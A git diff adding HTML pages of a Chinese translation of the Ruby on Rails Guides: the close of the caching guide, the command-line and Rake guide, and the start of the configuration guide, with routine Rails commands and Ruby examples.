如果运行多个 Rails 服务器进程(使用 mongrel_cluster 或 Phusion Passenger 时),进程间无法共用缓存数据。这种存储方式不适合在大型程序中使用,不过很适合只有几个服务器进程的小型、低流量网站,也可在开发环境和测试环境中使用。

2.4 ActiveSupport::Cache::FileStore

这种存储方式使用文件系统保存缓存。缓存文件的存储位置必须在初始化时指定。

+
+config.cache_store = :file_store, "/path/to/cache/directory"
+
+
+
+

使用这种存储方式,同一主机上的服务器进程之间可以共用缓存。运行在不同主机上的服务器进程之间也可以通过共享的文件系统共用缓存,但这种用法不是最好的方式,因此不推荐使用。这种存储方式适合在只用了一到两台主机的中低流量网站中使用。

注意,如果不定期清理,缓存会不断增多,最终会用完硬盘空间。

这是默认使用的缓存存储方式。

2.5 ActiveSupport::Cache::MemCacheStore

这种存储方式使用 Danga 开发的 memcached 服务器,为程序提供一个中心化的缓存存储。Rails 默认使用附带安装的 dalli gem 实现这种存储方式。这是目前在生产环境中使用最广泛的缓存存储方式,可以提供单个缓存存储,或者共享的缓存集群,性能高,冗余度低。

初始化时要指定集群中所有 memcached 服务器的地址。如果没有指定地址,默认运行在本地主机的默认端口上,这对大型网站来说不是个好主意。

在这种缓存存储中使用 writefetch 方法还可指定两个额外的选项,充分利用 memcached 的特有功能。指定 :raw 选项可以直接把没有序列化的数据传给 memcached 服务器。在这种类型的数据上可以使用 memcached 的原生操作,例如 incrementdecrement。如果不想让 memcached 覆盖已经存在的记录,可以指定 :unless_exist 选项。

+
+config.cache_store = :mem_cache_store, "cache-1.example.com", "cache-2.example.com"
+
+
+
+

2.6 ActiveSupport::Cache::EhcacheStore

如果在 JRuby 平台上运行程序,可以使用 Terracotta 开发的 Ehcache 存储缓存。Ehcache 是使用 Java 开发的开源缓存存储,同时也提供企业版,增强了稳定性、操作便利性,以及商用支持。使用这种存储方式要先安装 jruby-ehcache-rails3 gem(1.1.0 及以上版本)。

+
+config.cache_store = :ehcache_store
+
+
+
+

初始化时,可以使用 :ehcache_config 选项指定 Ehcache 设置文件的位置(默认为 Rails 程序根目录中的 ehcache.xml),还可使用 :cache_name 选项定制缓存名(默认为 rails_cache)。

使用 write 方法时,除了可以使用通用的 :expires_in 选项之外,还可指定 :unless_exist 选项,让 Ehcache 使用 putIfAbsent 方法代替 put 方法,不覆盖已经存在的记录。除此之外,write 方法还可接受 Ehcache Element 类开放的所有属性,包括:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
属性参数类型说明
elementEvictionDataElementEvictionData设置元素的 eviction 数据实例
eternalboolean设置元素是否为 eternal
timeToIdle, ttiint设置空闲时间
timeToLive, ttl, expires_inint设置在线时间
versionlong设置 ElementAttributes 对象的 version 属性
+

这些选项通过 Hash 传给 write 方法,可以使用驼峰式或者下划线分隔形式。例如:

+
+Rails.cache.write('key', 'value', time_to_idle: 60.seconds, timeToLive: 600.seconds)
+caches_action :index, expires_in: 60.seconds, unless_exist: true
+
+
+
+

关于 Ehcache 更多的介绍,请访问 http://ehcache.org/。关于如何在运行于 JRuby 平台之上的 Rails 中使用 Ehcache,请访问 http://ehcache.org/documentation/jruby.html

2.7 ActiveSupport::Cache::NullStore

这种存储方式只可在开发环境和测试环境中使用,并不会存储任何数据。如果在开发过程中必须和 Rails.cache 交互,而且会影响到修改代码后的效果,使用这种存储方式尤其方便。使用这种存储方式时调用 fetchread 方法没有实际作用。

+
+config.cache_store = :null_store
+
+
+
+

2.8 自建存储方式

要想自建缓存存储方式,可以继承 ActiveSupport::Cache::Store 类,并实现相应的方法。自建存储方式时,可以使用任何缓存技术。

使用自建的存储方式,把 cache_store 设为类的新实例即可。

+
+config.cache_store = MyCacheStore.new
+
+
+
+

2.9 缓存键

缓存中使用的键可以是任意对象,只要能响应 :cache_key:to_param 方法即可。如果想生成自定义键,可以在类中定义 :cache_key 方法。Active Record 根据类名和记录的 ID 生成缓存键。

缓存键也可使用 Hash 或者数组。

+
+# This is a legal cache key
+Rails.cache.read(site: "mysite", owners: [owner_1, owner_2])
+
+
+
+

Rails.cache 方法中使用的键和保存到存储引擎中的键并不一样。保存时,可能会根据命名空间或引擎的限制做修改。也就是说,不能使用 memcache-client gem 调用 Rails.cache 方法保存缓存再尝试读取缓存。不过,无需担心会超出 memcached 的大小限制,或者违反句法规则。

3 支持条件 GET 请求

条件请求是 HTTP 规范的一个特性,网页服务器告诉浏览器 GET 请求的响应自上次请求以来没有发生变化,可以直接读取浏览器缓存中的副本。

条件请求通过 If-None-MatchIf-Modified-Since 报头实现,这两个报头的值分别是内容的唯一 ID 和上次修改内容的时间戳,在服务器和客户端之间来回传送。如果浏览器发送的请求中内容 ID(ETag)或上次修改时间戳和服务器上保存的值一样,服务器只需返回一个空响应,并把状态码设为未修改。

服务器负责查看上次修改时间戳和 If-None-Match 报头的值,决定是否返回完整的响应。在 Rails 中使用条件 GET 请求很简单:

+
+class ProductsController < ApplicationController
+
+  def show
+    @product = Product.find(params[:id])
+
+    # If the request is stale according to the given timestamp and etag value
+    # (i.e. it needs to be processed again) then execute this block
+    if stale?(last_modified: @product.updated_at.utc, etag: @product.cache_key)
+      respond_to do |wants|
+        # ... normal response processing
+      end
+    end
+
+    # If the request is fresh (i.e. it's not modified) then you don't need to do
+    # anything. The default render checks for this using the parameters
+    # used in the previous call to stale? and will automatically send a
+    # :not_modified. So that's it, you're done.
+  end
+end
+
+
+
+

如果不想使用 Hash,还可直接传入模型实例,Rails 会调用 updated_atcache_key 方法分别设置 last_modifiedetag

+
+class ProductsController < ApplicationController
+  def show
+    @product = Product.find(params[:id])
+    respond_with(@product) if stale?(@product)
+  end
+end
+
+
+
+

如果没有使用特殊的方式处理响应,使用默认的渲染机制(例如,没有使用 respond_to 代码块,或者没有手动调用 render 方法),还可使用十分便利的 fresh_when 方法:

+
+class ProductsController < ApplicationController
+
+  # This will automatically send back a :not_modified if the request is fresh,
+  # and will render the default template (product.*) if it's stale.
+
+  def show
+    @product = Product.find(params[:id])
+    fresh_when last_modified: @product.published_at.utc, etag: @product
+  end
+end
+
+
+
+ + +

反馈

+

+ 欢迎帮忙改善指南质量。 +

+

+ 如发现任何错误,欢迎修正。开始贡献前,可先行阅读贡献指南:文档。 +

+

翻译如有错误,深感抱歉,欢迎 Fork 修正,或至此处回报

+

+ 文章可能有未完成或过时的内容。请先检查 Edge Guides 来确定问题在 master 是否已经修掉了。再上 master 补上缺少的文件。内容参考 Ruby on Rails 指南准则来了解行文风格。 +

+

最后,任何关于 Ruby on Rails 文档的讨论,欢迎到 rubyonrails-docs 邮件群组。 +

+
+
+
+ +
+ + + + + + + + + + + + + + diff --git a/v4.1/command_line.html b/v4.1/command_line.html new file mode 100644 index 0000000..4f91584 --- /dev/null +++ b/v4.1/command_line.html @@ -0,0 +1,773 @@ + + + + + + + +Rails 命令行 — Ruby on Rails 指南 + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + 更多内容 + + +
+
+ + +
+ +
+
+

Rails 命令行

读完本文,你将学到:

+
    +
  • 如何新建 Rails 程序;
  • +
  • 如何生成模型、控制器、数据库迁移和单元测试;
  • +
  • 如何启动开发服务器;
  • +
  • 如果在交互 shell 中测试对象;
  • +
  • 如何分析、评测程序;
  • +
+ + + + +
+
+ +
+
+
+

阅读本文前要具备一些 Rails 基础知识,可以阅读“Rails 入门”一文。

1 命令行基础

有些命令在 Rails 开发过程中经常会用到,下面按照使用频率倒序列出:

+
    +
  • rails console
  • +
  • rails server
  • +
  • rake
  • +
  • rails generate
  • +
  • rails dbconsole
  • +
  • rails new app_name
  • +
+

这些命令都可指定 -h--help 选项显示具体用法。

下面我们来新建一个 Rails 程序,介绍各命令的用法。

1.1 rails new +

安装 Rails 后首先要做的就是使用 rails new 命令新建 Rails 程序。

如果还没安装 Rails ,可以执行 gem install rails 命令安装。

+
+$ rails new commandsapp
+     create
+     create  README.rdoc
+     create  Rakefile
+     create  config.ru
+     create  .gitignore
+     create  Gemfile
+     create  app
+     ...
+     create  tmp/cache
+     ...
+        run  bundle install
+
+
+
+

这个简单的命令会生成很多文件,组成一个完整的 Rails 程序,直接就可运行。

1.2 rails server +

rails server 命令会启动 Ruby 内建的小型服务器 WEBrick。要想在浏览器中访问程序,就要执行这个命令。

无需其他操作,执行 rails server 命令后就能运行刚创建的 Rails 程序:

+
+$ cd commandsapp
+$ rails server
+=> Booting WEBrick
+=> Rails 4.2.0 application starting in development on http://0.0.0.0:3000
+=> Call with -d to detach
+=> Ctrl-C to shutdown server
+[2013-08-07 02:00:01] INFO  WEBrick 1.3.1
+[2013-08-07 02:00:01] INFO  ruby 2.0.0 (2013-06-27) [x86_64-darwin11.2.0]
+[2013-08-07 02:00:01] INFO  WEBrick::HTTPServer#start: pid=69680 port=3000
+
+
+
+

只执行了三个命令,我们就启动了一个 Rails 服务器,监听端口 3000。打开浏览器,访问 http://localhost:3000,会看到一个简单的 Rails 程序。

启动服务器的命令还可使用别名“s”:rails s

如果想让服务器监听其他端口,可通过 -p 选项指定。所处的环境可由 -e 选项指定。

+
+$ rails server -e production -p 4000
+
+
+
+

-b 选项把 Rails 绑定到指定的 IP,默认 IP 是 0.0.0.0。指定 -d 选项后,服务器会以守护进程的形式运行。

1.3 rails generate +

rails generate 使用模板生成很多东西。单独执行 rails generate 命令,会列出可用的生成器:

还可使用别名“g”执行生成器命令:rails g

+
+$ rails generate
+Usage: rails generate GENERATOR [args] [options]
+
+...
+...
+
+Please choose a generator below.
+
+Rails:
+  assets
+  controller
+  generator
+  ...
+  ...
+
+
+
+

使用其他生成器 gem 可以安装更多的生成器,或者使用插件中提供的生成器,甚至还可以自己编写生成器。

使用生成器可以节省大量编写程序骨架的时间。

下面我们使用控制器生成器生成控制器。但应该使用哪个命令呢?我们问一下生成器:

所有的 Rails 命令都有帮助信息。和其他 *nix 命令一样,可以在命令后加上 --help-h 选项,例如 rails server --help

+
+$ rails generate controller
+Usage: rails generate controller NAME [action action] [options]
+
+...
+...
+
+Description:
+    ...
+
+    To create a controller within a module, specify the controller name as a
+    path like 'parent_module/controller_name'.
+
+    ...
+
+Example:
+    `rails generate controller CreditCard open debit credit close`
+
+    Credit card controller with URLs like /credit_card/debit.
+        Controller: app/controllers/credit_card_controller.rb
+        Test:       test/controllers/credit_card_controller_test.rb
+        Views:      app/views/credit_card/debit.html.erb [...]
+        Helper:     app/helpers/credit_card_helper.rb
+
+
+
+

控制器生成器接受的参数形式是 generate controller ControllerName action1 action2。下面我们来生成 Greetings 控制器,包含一个动作 hello,跟读者打个招呼。

+
+$ rails generate controller Greetings hello
+     create  app/controllers/greetings_controller.rb
+      route  get "greetings/hello"
+     invoke  erb
+     create    app/views/greetings
+     create    app/views/greetings/hello.html.erb
+     invoke  test_unit
+     create    test/controllers/greetings_controller_test.rb
+     invoke  helper
+     create    app/helpers/greetings_helper.rb
+     invoke    test_unit
+     create      test/helpers/greetings_helper_test.rb
+     invoke  assets
+     invoke    coffee
+     create      app/assets/javascripts/greetings.js.coffee
+     invoke    scss
+     create      app/assets/stylesheets/greetings.css.scss
+
+
+
+

这个命令生成了什么呢?在程序中创建了一堆文件夹,还有控制器文件、视图文件、功能测试文件、视图帮助方法文件、JavaScript 文件盒样式表文件。

打开控制器文件(app/controllers/greetings_controller.rb),做些改动:

+
+class GreetingsController < ApplicationController
+  def hello
+    @message = "Hello, how are you today?"
+  end
+end
+
+
+
+

然后修改视图文件(app/views/greetings/hello.html.erb),显示消息:

+
+<h1>A Greeting for You!</h1>
+<p><%= @message %></p>
+
+
+
+

执行 rails server 命令启动服务器:

+
+$ rails server
+=> Booting WEBrick...
+
+
+
+

要查看的地址是 http://localhost:3000/greetings/hello

在常规的 Rails 程序中,URL 的格式是 http://(host)/(controller)/(action),访问 http://(host)/(controller) 会进入控制器的 index 动作。

Rails 也为数据模型提供了生成器。

+
+$ rails generate model
+Usage:
+  rails generate model NAME [field[:type][:index] field[:type][:index]] [options]
+
+...
+
+Active Record options:
+      [--migration]            # Indicates when to generate migration
+                               # Default: true
+
+...
+
+Description:
+    Create rails files for model generator.
+
+
+
+

全部可用的字段类型,请查看 TableDefinition#column 方法的文档

不过我们暂且不单独生成模型(后文再生成),先使用脚手架。Rails 中的脚手架会生成资源所需的全部文件,包括:模型,模型所用的迁移,处理模型的控制器,查看数据的视图,以及测试组件。

我们要创建一个名为“HighScore”的资源,记录视频游戏的最高得分。

+
+$ rails generate scaffold HighScore game:string score:integer
+    invoke  active_record
+    create    db/migrate/20130717151933_create_high_scores.rb
+    create    app/models/high_score.rb
+    invoke    test_unit
+    create      test/models/high_score_test.rb
+    create      test/fixtures/high_scores.yml
+    invoke  resource_route
+     route    resources :high_scores
+    invoke  scaffold_controller
+    create    app/controllers/high_scores_controller.rb
+    invoke    erb
+    create      app/views/high_scores
+    create      app/views/high_scores/index.html.erb
+    create      app/views/high_scores/edit.html.erb
+    create      app/views/high_scores/show.html.erb
+    create      app/views/high_scores/new.html.erb
+    create      app/views/high_scores/_form.html.erb
+    invoke    test_unit
+    create      test/controllers/high_scores_controller_test.rb
+    invoke    helper
+    create      app/helpers/high_scores_helper.rb
+    invoke      test_unit
+    create        test/helpers/high_scores_helper_test.rb
+    invoke    jbuilder
+    create      app/views/high_scores/index.json.jbuilder
+    create      app/views/high_scores/show.json.jbuilder
+    invoke  assets
+    invoke    coffee
+    create      app/assets/javascripts/high_scores.js.coffee
+    invoke    scss
+    create      app/assets/stylesheets/high_scores.css.scss
+    invoke  scss
+   identical    app/assets/stylesheets/scaffolds.css.scss
+
+
+
+

这个生成器检测到以下各组件对应的文件夹已经存储在:模型,控制器,帮助方法,布局,功能测试,单元测试,样式表。然后创建“HighScore”资源的视图、控制器、模型和迁移文件(用来创建 high_scores 数据表和字段),并设置好路由,以及测试等。

我们要运行迁移,执行文件 20130717151933_create_high_scores.rb 中的代码,这才能修改数据库的模式。那么要修改哪个数据库呢?执行 rake db:migrate 命令后会生成 SQLite3 数据库。稍后再详细介绍 Rake。

+
+$ rake db:migrate
+==  CreateHighScores: migrating ===============================================
+-- create_table(:high_scores)
+   -> 0.0017s
+==  CreateHighScores: migrated (0.0019s) ======================================
+
+
+
+

介绍一下单元测试。单元测试是用来测试代码、做断定的代码。在单元测试中,我们只关注代码的一部分,例如模型中的一个方法,测试其输入和输出。单元测试是你的好伙伴,你逐渐会意识到,单元测试的程度越高,生活的质量才能提上来。真的。稍后我们会编写一个单元测试。

我们来看一下 Rails 创建的界面。

+
+$ rails server
+
+
+
+

打开浏览器,访问 http://localhost:3000/high_scores,现在可以创建新的最高得分了(太空入侵者得了 55,160 分)。

1.4 rails console +

执行 console 命令后,可以在命令行中和 Rails 程序交互。rails console` 使用的是 IRB,所以如果你用过 IRB 的话,操作起来很顺手。在终端里可以快速测试想法,或者修改服务器端的数据,而无需在网站中操作。

这个命令还可以使用别名“c”:rails c

执行 console 命令时可以指定终端在哪个环境中打开:

+
+$ rails console staging
+
+
+
+

如果你想测试一些代码,但不想改变存储的数据,可以执行 rails console --sandbox

+
+$ rails console --sandbox
+Loading development environment in sandbox (Rails 4.2.0)
+Any modifications you make will be rolled back on exit
+irb(main):001:0>
+
+
+
+

1.5 rails dbconsole +

rails dbconsole 能检测到你正在使用的数据库类型(还能理解传入的命令行参数),然后进入该数据库的命令行界面。该命令支持 MySQL,PostgreSQL,SQLite 和 SQLite3。

这个命令还可使用别名“db”:rails db

1.6 rails runner +

runner 可以以非交互的方式在 Rails 中运行 Ruby 代码。例如:

+
+$ rails runner "Model.long_running_method"
+
+
+
+

这个命令还可使用别名“r”:rails r

可使用 -e 选项指定 runner 命令在哪个环境中运行。

+
+$ rails runner -e staging "Model.long_running_method"
+
+
+
+

1.7 rails destroy +

destroy 可以理解成 generate 的逆操作,能识别生成了什么,然后将其删除。

这个命令还可使用别名“d”:rails d

+
+$ rails generate model Oops
+      invoke  active_record
+      create    db/migrate/20120528062523_create_oops.rb
+      create    app/models/oops.rb
+      invoke    test_unit
+      create      test/models/oops_test.rb
+      create      test/fixtures/oops.yml
+
+
+
+
+
+$ rails destroy model Oops
+      invoke  active_record
+      remove    db/migrate/20120528062523_create_oops.rb
+      remove    app/models/oops.rb
+      invoke    test_unit
+      remove      test/models/oops_test.rb
+      remove      test/fixtures/oops.yml
+
+
+
+

2 Rake

Rake 是 Ruby 领域的 Make,是个独立的 Ruby 工具,目的是代替 Unix 中的 make。Rake 根据 Rakefile.rake 文件构建任务。Rails 使用 Rake 实现常见的管理任务,尤其是较为复杂的任务。

执行 rake -- tasks 命令可以列出所有可用的 Rake 任务,具体的任务根据所在文件夹会有所不同。每个任务都有描述信息,帮助你找到所需的命令。

要想查看执行 Rake 任务时的完整调用栈,可以在命令中使用 --trace 选项,例如 rake db:create --trace

+
+$ rake --tasks
+rake about              # List versions of all Rails frameworks and the environment
+rake assets:clean       # Remove compiled assets
+rake assets:precompile  # Compile all the assets named in config.assets.precompile
+rake db:create          # Create the database from config/database.yml for the current Rails.env
+...
+rake log:clear          # Truncates all *.log files in log/ to zero bytes (specify which logs with LOGS=test,development)
+rake middleware         # Prints out your Rack middleware stack
+...
+rake tmp:clear          # Clear session, cache, and socket files from tmp/ (narrow w/ tmp:sessions:clear, tmp:cache:clear, tmp:sockets:clear)
+rake tmp:create         # Creates tmp directories for sessions, cache, sockets, and pids
+
+
+
+

还可以执行 rake -T 查看所有任务。

2.1 about +

rake about 任务输出以下信息:Ruby、RubyGems、Rails 的版本号,Rails 使用的组件,程序所在的文件夹,Rails 当前所处的环境名,程序使用的数据库适配器,数据库模式版本号。如果想向他人需求帮助,检查安全补丁是否影响程序,或者需要查看现有 Rails 程序的信息,可以使用这个任务。

+
+$ rake about
+About your application's environment
+Ruby version              1.9.3 (x86_64-linux)
+RubyGems version          1.3.6
+Rack version              1.3
+Rails version             4.2.0
+JavaScript Runtime        Node.js (V8)
+Active Record version     4.2.0
+Action Pack version       4.2.0
+Action View version       4.2.0
+Action Mailer version     4.2.0
+Active Support version    4.2.0
+Middleware                Rack::Sendfile, ActionDispatch::Static, Rack::Lock, #<ActiveSupport::Cache::Strategy::LocalCache::Middleware:0x007ffd131a7c88>, Rack::Runtime, Rack::MethodOverride, ActionDispatch::RequestId, Rails::Rack::Logger, ActionDispatch::ShowExceptions, ActionDispatch::DebugExceptions, ActionDispatch::RemoteIp, ActionDispatch::Reloader, ActionDispatch::Callbacks, ActiveRecord::Migration::CheckPending, ActiveRecord::ConnectionAdapters::ConnectionManagement, ActiveRecord::QueryCache, ActionDispatch::Cookies, ActionDispatch::Session::CookieStore, ActionDispatch::Flash, ActionDispatch::ParamsParser, Rack::Head, Rack::ConditionalGet, Rack::ETag
+Application root          /home/foobar/commandsapp
+Environment               development
+Database adapter          sqlite3
+Database schema version   20110805173523
+
+
+
+

2.2 assets +

rake assets:precompile 任务会预编译 app/assets 文件夹中的静态资源文件。rake assets:clean 任务会把编译好的静态资源文件删除。

2.3 db +

Rake 命名空间 db: 中最常用的任务是 migratecreate,这两个任务会尝试运行所有迁移相关的 Rake 任务(updownredoreset)。rake db:version 在排查问题时很有用,会输出数据库的当前版本。

关于数据库迁移的更多介绍,参阅“Active Record 数据库迁移”一文。

2.4 doc +

doc: 命名空间中的任务可以生成程序的文档,Rails API 文档和 Rails 指南。生成的文档可以随意分割,减少程序的大小,适合在嵌入式平台使用。

+
    +
  • +rake doc:appdoc/app 文件夹中生成程序的文档;
  • +
  • +rake doc:guidesdoc/guides 文件夹中生成 Rails 指南;
  • +
  • +rake doc:railsdoc/api 文件夹中生成 Rails API 文档;
  • +
+

2.5 notes +

rake notes 会搜索整个程序,寻找以 FIXME、OPTIMIZE 或 TODO 开头的注释。搜索的文件包括 .builder.rb.erb.haml.slim.css.scss.js.coffee.rake.sass.less。搜索的内容包括默认注解和自定义注解。

+
+$ rake notes
+(in /home/foobar/commandsapp)
+app/controllers/admin/users_controller.rb:
+  * [ 20] [TODO] any other way to do this?
+  * [132] [FIXME] high priority for next deploy
+
+app/models/school.rb:
+  * [ 13] [OPTIMIZE] refactor this code to make it faster
+  * [ 17] [FIXME]
+
+
+
+

如果想查找特定的注解,例如 FIXME,可以执行 rake notes:fixme 任务。注意,在命令中注解的名字要使用小写形式。

+
+$ rake notes:fixme
+(in /home/foobar/commandsapp)
+app/controllers/admin/users_controller.rb:
+  * [132] high priority for next deploy
+
+app/models/school.rb:
+  * [ 17]
+
+
+
+

在代码中可以使用自定义的注解,然后执行 rake notes:custom 任务,并使用 ANNOTATION 环境变量指定要查找的注解。

+
+$ rake notes:custom ANNOTATION=BUG
+(in /home/foobar/commandsapp)
+app/models/post.rb:
+  * [ 23] Have to fix this one before pushing!
+
+
+
+

注意,不管查找的是默认的注解还是自定义的直接,注解名(例如 FIXME,BUG 等)不会在输出结果中显示。

默认情况下,rake notes 会搜索 appconfiglibbintest 这几个文件夹中的文件。如果想在其他的文件夹中查找,可以使用 SOURCE_ANNOTATION_DIRECTORIES 环境变量指定一个以逗号分隔的列表。

+
+$ export SOURCE_ANNOTATION_DIRECTORIES='spec,vendor'
+$ rake notes
+(in /home/foobar/commandsapp)
+app/models/user.rb:
+  * [ 35] [FIXME] User should have a subscription at this point
+spec/models/user_spec.rb:
+  * [122] [TODO] Verify the user that has a subscription works
+
+
+
+

2.6 routes +

rake routes 会列出程序中定义的所有路由,可为解决路由问题提供帮助,还可以让你对程序中的所有 URL 有个整体了解。

2.7 test +

Rails 中的单元测试详情,参见“Rails 程序测试指南”一文。

Rails 提供了一个名为 Minitest 的测试组件。Rails 的稳定性也由测试决定。test: 命名空间中的任务可用于运行各种测试。

2.8 tmp +

Rails.root/tmp 文件夹和 *nix 中的 /tmp 作用相同,用来存放临时文件,例如会话(如果使用文件存储会话)、PID 文件和缓存文件等。

tmp: 命名空间中的任务可以清理或创建 Rails.root/tmp 文件夹:

+
    +
  • +rake tmp:cache:clear 清理 tmp/cache 文件夹;
  • +
  • +rake tmp:sessions:clear 清理 tmp/sessions 文件夹;
  • +
  • +rake tmp:sockets:clear 清理 tmp/sockets 文件夹;
  • +
  • +rake tmp:clear 清理以上三个文件夹;
  • +
  • +rake tmp:create 创建会话、缓存、套接字和 PID 所需的临时文件夹;
  • +
+

2.9 其他任务

+
    +
  • +rake stats 用来统计代码状况,显示千行代码数和测试比例等;
  • +
  • +rake secret 会生成一个伪随机字符串,作为会话的密钥;
  • +
  • +rake time:zones:all 列出 Rails 能理解的所有时区;
  • +
+

2.10 编写 Rake 任务

自己编写的 Rake 任务保存在 Rails.root/lib/tasks 文件夹中,文件的扩展名是 .rake。执行 bin/rails generate task 命令会生成一个新的自定义任务文件。

+
+desc "I am short, but comprehensive description for my cool task"
+task task_name: [:prerequisite_task, :another_task_we_depend_on] do
+  # All your magic here
+  # Any valid Ruby code is allowed
+end
+
+
+
+

向自定义的任务中传入参数的方式如下:

+
+task :task_name, [:arg_1] => [:pre_1, :pre_2] do |t, args|
+  # You can use args from here
+end
+
+
+
+

任务可以分组,放入命名空间:

+
+namespace :db do
+  desc "This task does nothing"
+  task :nothing do
+    # Seriously, nothing
+  end
+end
+
+
+
+

执行任务的方法如下:

+
+rake task_name
+rake "task_name[value 1]" # entire argument string should be quoted
+rake db:nothing
+
+
+
+

如果在任务中要和程序的模型交互,例如查询数据库等,可以使用 environment 任务,加载程序代码。

3 Rails 命令行高级用法

Rails 命令行的高级用法就是找到实用的参数,满足特定需求或者工作流程。下面是一些常用的高级命令。

3.1 新建程序时指定数据库和源码管理系统

新建程序时,可设置一些选项指定使用哪种数据库和源码管理系统。这么做可以节省一点时间,减少敲击键盘的次数。

我们来看一下 --git--database=postgresql 选项有什么作用:

+
+$ mkdir gitapp
+$ cd gitapp
+$ git init
+Initialized empty Git repository in .git/
+$ rails new . --git --database=postgresql
+      exists
+      create  app/controllers
+      create  app/helpers
+...
+...
+      create  tmp/cache
+      create  tmp/pids
+      create  Rakefile
+add 'Rakefile'
+      create  README.rdoc
+add 'README.rdoc'
+      create  app/controllers/application_controller.rb
+add 'app/controllers/application_controller.rb'
+      create  app/helpers/application_helper.rb
+...
+      create  log/test.log
+add 'log/test.log'
+
+
+
+

上面的命令先新建一个 gitapp 文件夹,初始化一个空的 git 仓库,然后再把 Rails 生成的文件加入仓库。再来看一下在数据库设置文件中添加了什么:

+
+$ cat config/database.yml
+# PostgreSQL. Versions 8.2 and up are supported.
+#
+# Install the pg driver:
+#   gem install pg
+# On OS X with Homebrew:
+#   gem install pg -- --with-pg-config=/usr/local/bin/pg_config
+# On OS X with MacPorts:
+#   gem install pg -- --with-pg-config=/opt/local/lib/postgresql84/bin/pg_config
+# On Windows:
+#   gem install pg
+#       Choose the win32 build.
+#       Install PostgreSQL and put its /bin directory on your path.
+#
+# Configure Using Gemfile
+# gem 'pg'
+#
+development:
+  adapter: postgresql
+  encoding: unicode
+  database: gitapp_development
+  pool: 5
+  username: gitapp
+  password:
+...
+...
+
+
+
+

这个命令还根据我们选择的 PostgreSQL 数据库在 database.yml 中添加了一些设置。

指定源码管理系统选项时唯一的不便是,要先新建程序的文件夹,再初始化源码管理系统,然后才能执行 rails new 命令生成程序骨架。

+ +

反馈

+

+ 欢迎帮忙改善指南质量。 +

+

+ 如发现任何错误,欢迎修正。开始贡献前,可先行阅读贡献指南:文档。 +

+

翻译如有错误,深感抱歉,欢迎 Fork 修正,或至此处回报

+

+ 文章可能有未完成或过时的内容。请先检查 Edge Guides 来确定问题在 master 是否已经修掉了。再上 master 补上缺少的文件。内容参考 Ruby on Rails 指南准则来了解行文风格。 +

+

最后,任何关于 Ruby on Rails 文档的讨论,欢迎到 rubyonrails-docs 邮件群组。 +

+
+
+
+ +
+ + + + + + + + + + + + + + diff --git a/v4.1/configuring.html b/v4.1/configuring.html new file mode 100644 index 0000000..eecb4c9 --- /dev/null +++ b/v4.1/configuring.html @@ -0,0 +1,994 @@ + + + + + + + +设置 Rails 程序 — Ruby on Rails 指南 + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + 更多内容 + + +
+
+ + +
+ + + +
+
+
+

1 初始化代码的存放位置

Rails 的初始化代码存放在四个标准位置:

+
    +
  • +config/application.rb 文件
  • +
  • 针对特定环境的设置文件;
  • +
  • 初始化脚本;
  • +
  • 后置初始化脚本;
  • +
+

2 加载 Rails 前运行代码

如果想在加载 Rails 之前运行代码,可以把代码添加到 config/application.rb 文件的 require 'rails/all' 之前。

3 设置 Rails 组件

总的来说,设置 Rails 的工作包括设置 Rails 的组件以及 Rails 本身。在设置文件 config/application.rb 和针对特定环境的设置文件(例如 config/environments/production.rb)中可以指定传给各个组件的不同设置项目。

例如,在文件 config/application.rb 中有下面这个设置:

+
+config.autoload_paths += %W(#{config.root}/extras)
+
+
+
+

这是针对 Rails 本身的设置项目。如果想设置单独的 Rails 组件,一样可以在 config/application.rb 文件中使用同一个 config 对象:

+
+config.active_record.schema_format = :ruby
+
+
+
+

Rails 会使用指定的设置配置 Active Record。

3.1 3常规选项

下面这些设置方法在 Rails::Railtie 对象上调用,例如 Rails::EngineRails::Application 的子类。

+
    +
  • config.after_initialize:接受一个代码块,在 Rails 初始化程序之后执行。初始化的过程包括框架本身,引擎,以及 config/initializers 文件夹中所有的初始化脚本。注意,Rake 任务也会执行代码块中的代码。常用于设置初始化脚本用到的值。
  • +
+
+
+config.after_initialize do
+  ActionView::Base.sanitized_allowed_tags.delete 'div'
+end
+
+
+
+ +
    +
  • config.asset_host:设置静态资源的主机。可用于设置静态资源所用的 CDN,或者通过不同的域名绕过浏览器对并发请求数量的限制。是 config.action_controller.asset_host 的简化。

  • +
  • config.autoload_once_paths:一个由路径组成的数组,Rails 从这些路径中自动加载常量,且在多次请求之间一直可用。只有 config.cache_classesfalse(开发环境中的默认值)时才有效。如果为 true,所有自动加载的代码每次请求时都会重新加载。这个数组中的路径必须出现在 autoload_paths 设置中。默认为空数组。

  • +
  • config.autoload_paths:一个由路径组成的数组,Rails 从这些路径中自动加载常量。默认值为 app 文件夹中的所有子文件夹。

  • +
  • config.cache_classes:决定程序中的类和模块在每次请求中是否要重新加载。在开发环境中的默认值是 false,在测试环境和生产环境中的默认值是 true。调用 threadsafe! 方法的作用和设为 true 一样。

  • +
  • config.action_view.cache_template_loading:决定模板是否要在每次请求时重新加载。默认值等于 config.cache_classes 的值。

  • +
  • config.beginning_of_week:设置一周从哪天开始。可使用的值是一周七天名称的符号形式,例如 :monday

  • +
  • config.cache_store:设置 Rails 缓存的存储方式。可选值有::memory_store:file_store:mem_cache_store:null_store,以及实现了缓存 API 的对象。如果文件夹 tmp/cache 存在,默认值为 :file_store,否则为 :memory_store

  • +
  • config.colorize_logging:设定日志信息是否使用 ANSI 颜色代码。默认值为 true

  • +
  • config.consider_all_requests_local:如果设为 true,在 HTTP 响应中会显示详细的调试信息,而且 Rails::Info 控制器会在地址 /rails/info/properties 上显示程序的运行时上下文。在开发环境和测试环境中默认值为 true,在生产环境中默认值为 false。要想更精确的控制,可以把这个选项设为 false,然后在控制器中实现 local_request? 方法,指定哪些请求要显示调试信息。

  • +
  • config.console:设置执行 rails console 命令时使用哪个类实现控制台,最好在 console 代码块中设置:

  • +
+
+
+console do
+  # this block is called only when running console,
+  # so we can safely require pry here
+  require "pry"
+  config.console = Pry
+end
+
+
+
+ +
    +
  • config.dependency_loading:设为 false 时禁止自动加载常量。只有 config.cache_classestrue(生产环境的默认值)时才有效。config.threadsafe!true 时,这个选项为 false

  • +
  • config.eager_load:设为 true 是按需加载 config.eager_load_namespaces 中的所有命名空间,包括程序本身、引擎、Rails 框架和其他注册的命名空间。

  • +
  • config.eager_load_namespaces:注册命名空间,config.eager_loadtrue 时按需加载。所有命名空间都要能响应 eager_load! 方法。

  • +
